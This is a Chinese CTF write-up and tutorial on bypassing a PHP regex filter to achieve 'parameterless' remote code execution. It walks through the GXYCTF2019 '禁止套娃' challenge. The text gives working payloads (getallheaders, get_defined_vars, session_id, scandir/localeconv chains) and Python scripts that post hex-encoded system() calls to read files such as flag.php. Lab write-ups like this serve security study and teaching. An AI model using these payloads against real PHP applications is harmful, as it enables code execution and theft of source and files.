什么是无参数RCE
传统意义上,如果我们有
| 1 | eval($_GET[‘code’]); |
|---|---|
即代表我们拥有了一句话木马,可以进行getshell,例如
![无参数RCE([GXYCTF2019]禁止套娃) - 图1](/uploads/projects/u390550@fftlfh/a22f75885a58b4cfc4f1d220bc840f92.png)
但是如下有限制
![无参数RCE([GXYCTF2019]禁止套娃) - 图2](/uploads/projects/u390550@fftlfh/a156f893e002fb58ed05513ac639fa2d.png)
我们会发现我们使用参数则无法通过正则的校验
![无参数RCE([GXYCTF2019]禁止套娃) - 图3](/uploads/projects/u390550@fftlfh/5454e1d04f760e813a241920b30850b7.png)
而该正则,正是我们说的无参数的校验,其只允许执行如下格式函数
![无参数RCE([GXYCTF2019]禁止套娃) - 图4](/uploads/projects/u390550@fftlfh/5e593309a9ce6d137869c1633b96e866.png)
但不允许
![无参数RCE([GXYCTF2019]禁止套娃) - 图5](/uploads/projects/u390550@fftlfh/c108b2eb93a2fbb7a175413920715d4c.png)
这样一来,失去了参数,我们进行RCE的难度则会大幅度上升。
法1:getenv()
查阅php手册,有非常多的超全局变量
![无参数RCE([GXYCTF2019]禁止套娃) - 图6](/uploads/projects/u390550@fftlfh/144ec22f90e8dafdfaa2b08cb317c014.png)
我们可以使用$_ENV,对应函数为getenv()
![无参数RCE([GXYCTF2019]禁止套娃) - 图7](/uploads/projects/u390550@fftlfh/648541f0e54bf98370e77a70aa43703d.png)
虽然getenv()可以获取当前环境变量,但是我们从偌大的数组中取出我们制定的值成了问题。这里可以使用方法:
![无参数RCE([GXYCTF2019]禁止套娃) - 图8](/uploads/projects/u390550@fftlfh/da0887b04a6d90bb42680e6302c6029d.png)
效果如下
![无参数RCE([GXYCTF2019]禁止套娃) - 图9](/uploads/projects/u390550@fftlfh/b87a29101f1e67442669f23e7a951669.png)
但是我不想要下表,我想要数组的值,那么我们可以使用
![无参数RCE([GXYCTF2019]禁止套娃) - 图10](/uploads/projects/u390550@fftlfh/a58df71f22b95989f2d1a661ef0a5d30.png)
两者结合即可有如下效果
![无参数RCE([GXYCTF2019]禁止套娃) - 图11](/uploads/projects/u390550@fftlfh/f023293576992e0022241c69eea578fa.png)
我们则可以用爆破的方法获取数组中任意位置需要的值,那么即可使用gentenv(),并获取指定位置的恶意参数
法2:getallheaders()——Apache2环境下
之前我们获取的是所有环境变量的列表,但是我们并不需要这么多信息,仅仅http header即可,在Apache2的环境下,我们又getallheaders()可返回
我们可以看一下返回值
- array(8) {
- [“Host”]=> string(14) “106.14.114.127”
- [“Connection”]=> string(10) “keep-alive”
- [“Cache-Control”]=> string(9) “max-age=0”
- [“Upgrade-Insecure-Requests”]=> string(1) “1”
- [“User-Agent”]=> string(120) “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36”
- [“Accept”]=> string(118) “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3”
- [“Accept-Encoding”]=> string(13) “gzip, deflate” [“Accept-Language”]=> string(14) “zh-CN,zh;q=0.9”
- }
我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如
![无参数RCE([GXYCTF2019]禁止套娃) - 图12](/uploads/projects/u390550@fftlfh/7611460fe3ace366dc17b6fbcf1354e6.png)
此时我们再讲结果中的恶意命令取出
![无参数RCE([GXYCTF2019]禁止套娃) - 图13](/uploads/projects/u390550@fftlfh/79f0d947065005b8ef71f9b714f082d2.png)
![无参数RCE([GXYCTF2019]禁止套娃) - 图14](/uploads/projects/u390550@fftlfh/7d30dd62a0edec27e5712e34a3b93d0d.png)
这样一来相当于我们将http header中的sky变成了我们的参数,可以用它进行bypass无参数函数执行
例如
![无参数RCE([GXYCTF2019]禁止套娃) - 图15](/uploads/projects/u390550@fftlfh/979e2d41b87218f0e3e9c19f585788ff.png)
那么可以进一步http header的sky属性进行rce
![无参数RCE([GXYCTF2019]禁止套娃) - 图16](/uploads/projects/u390550@fftlfh/2b1894d9b1dc51a043ea97ab0977b780.png)
法3:get_defined_vars()
使用getallheaders()其实有局限性,因为他是Apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方法呢?
这里我们可以使用get_defined_vars(),首先看一下他的回显
![无参数RCE([GXYCTF2019]禁止套娃) - 图17](/uploads/projects/u390550@fftlfh/045e0582d63f51de0b279f25052f2aae.png)
可以发现他可以回显的全局变量
![无参数RCE([GXYCTF2019]禁止套娃) - 图18](/uploads/projects/u390550@fftlfh/8173558007048aa6cbae000070e3150d.png)
我们这里的选择就具有多样性,可以利用$_GET进行RCE,例如、
![无参数RCE([GXYCTF2019]禁止套娃) - 图19](/uploads/projects/u390550@fftlfh/00da35b24b1349b6b4b38e1d8f1604ce.png)
还是和之前的思路一样,将恶意参数取出
![无参数RCE([GXYCTF2019]禁止套娃) - 图20](/uploads/projects/u390550@fftlfh/f65cc73deaa4307a9f92218ff2643522.png)
发现可以成功RCE
但一般网站喜欢对
![无参数RCE([GXYCTF2019]禁止套娃) - 图21](/uploads/projects/u390550@fftlfh/2d6062efe9fd2066c01504c9de0933c9.png)
做全局过滤,所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传
![无参数RCE([GXYCTF2019]禁止套娃) - 图22](/uploads/projects/u390550@fftlfh/bc30fdd01e387e3e0afd5f56d100c119.png)
可以发现空格会被替换成_,为了防止干扰我们用hex编码进行RCE
![无参数RCE([GXYCTF2019]禁止套娃) - 图23](/uploads/projects/u390550@fftlfh/fa1d2415c07052a545197a500ce68f6f.png)
最终脚本如下
| 1234567891011 | import requestsfrom io import BytesIOpayload = “system(‘ls /tmp’);”.encode(‘hex’)files = { payload: BytesIO(‘sky cool!’)}r = requests.post(‘http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));’, files=files, allow_redirects=False)print r.content |
|---|---|
法4:session_id
之前我们使用$_FILES下手,其实我们还能从$_COOKIE下手:
我们有函数
![无参数RCE([GXYCTF2019]禁止套娃) - 图24](/uploads/projects/u390550@fftlfh/6f0a435b6b47b8eccceddfc28f9f815e.png)
可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin
脚本如下
| 12345678 | import requestsurl = ‘http://localhost/?code=eval(hex2bin(session_id(session_start())));'payload = “echo ‘sky cool’;”.encode(‘hex’)cookies = { ‘PHPSESSID’:payload}r = requests.get(url=url,cookies=cookies)print r.content |
|---|---|
即可达成RCE和bypass的目的
法5:dirname()&chdir()
为什么一定要RCE呢?我们能不能直接读文件?
之前的方法都基于女可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?
那么想读取文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以使用getcwd()获取当前目录
![无参数RCE([GXYCTF2019]禁止套娃) - 图25](/uploads/projects/u390550@fftlfh/41e43620ca52bad95f7f9a909cc2b9a1.png)
那么怎么进行当前目录的目录遍历呢?
这样用scandir()即可
![无参数RCE([GXYCTF2019]禁止套娃) - 图26](/uploads/projects/u390550@fftlfh/a632dc3c7f8d83a260e5d646e2157828.png)
那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可
![无参数RCE([GXYCTF2019]禁止套娃) - 图27](/uploads/projects/u390550@fftlfh/65ca6dace639bc72c53308a4294d24ec.png)
那么怎么更改当前目录呢?我们发现有函数可以改变当前目录
![无参数RCE([GXYCTF2019]禁止套娃) - 图28](/uploads/projects/u390550@fftlfh/4d7d4ec238088bbda5d25b066fc8c693.png)
将php的当前目录改为directory
所以我们这里在
![无参数RCE([GXYCTF2019]禁止套娃) - 图29](/uploads/projects/u390550@fftlfh/b02895e2da6c47ee1b38193a88270a38.png)
进行如下设置即可
![无参数RCE([GXYCTF2019]禁止套娃) - 图30](/uploads/projects/u390550@fftlfh/ff24f9a6b796c2e9881f208508c91fa3.png)
我们尝试读取/var/www/123
![无参数RCE([GXYCTF2019]禁止套娃) - 图31](/uploads/projects/u390550@fftlfh/20b7a03ea442648585a082136313b09a.png)
就可以进行文件读取
题解
他考了.git泄露,那我们直接读取到源码
![无参数RCE([GXYCTF2019]禁止套娃) - 图32](/uploads/projects/u390550@fftlfh/8567ae49ed4058a6253737c800a9e42e.png)
看了一下正则匹配(?R)引用当前表达式,后面用?递归调用。只能匹配通过无参数的函数然后eval($_GET[‘exp’]);经典的无参数RCE
![无参数RCE([GXYCTF2019]禁止套娃) - 图33](/uploads/projects/u390550@fftlfh/a332bd913eff490d355480cbe9bce8eb.png)
由于正则匹配了一下关键字比如et导致很多函数不能用,getshelle什么的基本不可能,只能考虑读源码
如何读出flag.php
想要读出flag.php,就需要有一个函数返回flag.php文件名,scndir()函数可以扫描当前目录下读文件,例如:
![无参数RCE([GXYCTF2019]禁止套娃) - 图34](/uploads/projects/u390550@fftlfh/2456623040cda8e8ad2cdfb79d01b4e4.png)
![无参数RCE([GXYCTF2019]禁止套娃) - 图35](/uploads/projects/u390550@fftlfh/918cc35af48b74cb49579be8627de6ce.png)
如何得到scandir()中的’.’
1.chr(46)
对于这种方法,又来了新的问题,46如何得到,我知道的有三种方法
- chr(rand())
- chr(time())
- chr(current(localtime(time())))
首先解释一下chr()函数,我们知道time()返回一个非常大的数,却依然能通过chr(time())得到一个点。这是因为chr()以256为一个周期,既chr(0) chr(256)他们都是相等的。比如我们可以得到1w以内就能够得到的点
![无参数RCE([GXYCTF2019]禁止套娃) - 图36](/uploads/projects/u390550@fftlfh/b59757a8e18b18854e0ed84e31cd511c.png)
因此,假设使用chr(time()),最多256秒走完一个周期,必定出现一个点。
但我本人比较喜欢用第三种
localtime(time())的返回一个数组,Array[0]为一个0~60之间的一个数字,每秒加1,所以最多一分钟就可以得到46.由于php数组内部指针默认指向第一个元素,所以current()或pos()取数组中当前元素的值,就得到了这个数字。
![无参数RCE([GXYCTF2019]禁止套娃) - 图37](/uploads/projects/u390550@fftlfh/b6382c48aaa217aa159bffaad1fe9a0b.png)
有关操作数组的方法有
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
**<font style="color:#000000;">end()</font>**和**<font style="color:#000000;">next()</font>**很多时候都很有用
2.current(localeconv())
localeconv()数组返回一包含本地数字及货币格式信息的数组,current(localeconv())永远是一个点
![无参数RCE([GXYCTF2019]禁止套娃) - 图38](/uploads/projects/u390550@fftlfh/2c9b333668f8a920a23e0cf93ff66ea2.png)
3.phpversion()
原文链接:http://www.manongjc.com/detail/13-ksgbihhdbvdbnza.html
- phpversion()返回php版本,如7.3.5
- floor(phpversion())返回7
- sqrt(floor(phpversion))返回2.6457513110646
- tan(floor(**sqrt(floor(phpversion())))返回-2.1850398632615**
- cosh(**tan(floor(sqrt(floor(phpversion()))))返回4.5017381103491**
- sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
- ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
- chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
- var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
- next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..
4.crypy()
原文链接 https://www.jianshu.com/p/060d16584b8e
- readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
原理:**<font style="color:#000000;">hebrevc(crypt(arg))</font>**可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
- if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
原理:crypt(serialize(array())) 原因同上
如何得到flag.php
现在我们尝试用scandir()扫描当前目录
- ?exp=print_r(scandir(current(localeconv())));
![无参数RCE([GXYCTF2019]禁止套娃) - 图39](/uploads/projects/u390550@fftlfh/38e844deb46e4636a547fe82498a7dcf.png)
可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。怎么办?请见如下3中方法
1.array_reverse()
看函数名就知道了,以相反的元素顺序返回数组
- ?exp=print_r(array_reverse(scandir(current(localeconv()))));
![无参数RCE([GXYCTF2019]禁止套娃) - 图40](/uploads/projects/u390550@fftlfh/5bd7330e55694269195d20cba4d3bd9b.png)
然后上面操作数组的方法中,next()将内部指针指向数组中的下一个元素并输出,
- next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php
2.array_rand(array_filp())
array_flip()交换数组的键和值
- ?exp=print_r(array_flip(scandir(current(localeconv()))));
![无参数RCE([GXYCTF2019]禁止套娃) - 图41](/uploads/projects/u390550@fftlfh/8f32c93e4eaf4b5507e7267c0c9605f6.png)
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断的随机返回,本题目中的scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
- ?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
![无参数RCE([GXYCTF2019]禁止套娃) - 图42](/uploads/projects/u390550@fftlfh/e2826c73857bb19ec36f23172be957e3.png)
3.session_id(session_srart())
2020年1月13日更新<font style="color:#000000;">session_id()</font>解题方法:
sky师傅的文章里介绍了这种方法,本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
因此我们手动设置名为PHPSESSID的cookie,并设置为flag.php
如何读flag.php的源码
因为et被ban了,所以不能使用file_get_contents(),但是可以使用readfile()或highlight_file()以及别的函数show_source()
- view-source:http://172.21.4.12:10031/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
![无参数RCE([GXYCTF2019]禁止套娃) - 图43](/uploads/projects/u390550@fftlfh/4ec832b70544fff5e65db2d1e4dae738.png)
- ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
![无参数RCE([GXYCTF2019]禁止套娃) - 图44](/uploads/projects/u390550@fftlfh/c3712b9ea7b3c861751bf7ff21bafd2e.png)
- ?exp=show_source(session_id(session_start()));
![无参数RCE([GXYCTF2019]禁止套娃) - 图45](/uploads/projects/u390550@fftlfh/c8cfad1874a39536f794418cc4d4ac7d.png)
![无参数RCE([GXYCTF2019]禁止套娃) - 图46](/uploads/projects/u390550@fftlfh/5f14432f4f8a79ae89a40a8f0fd5209b.png)
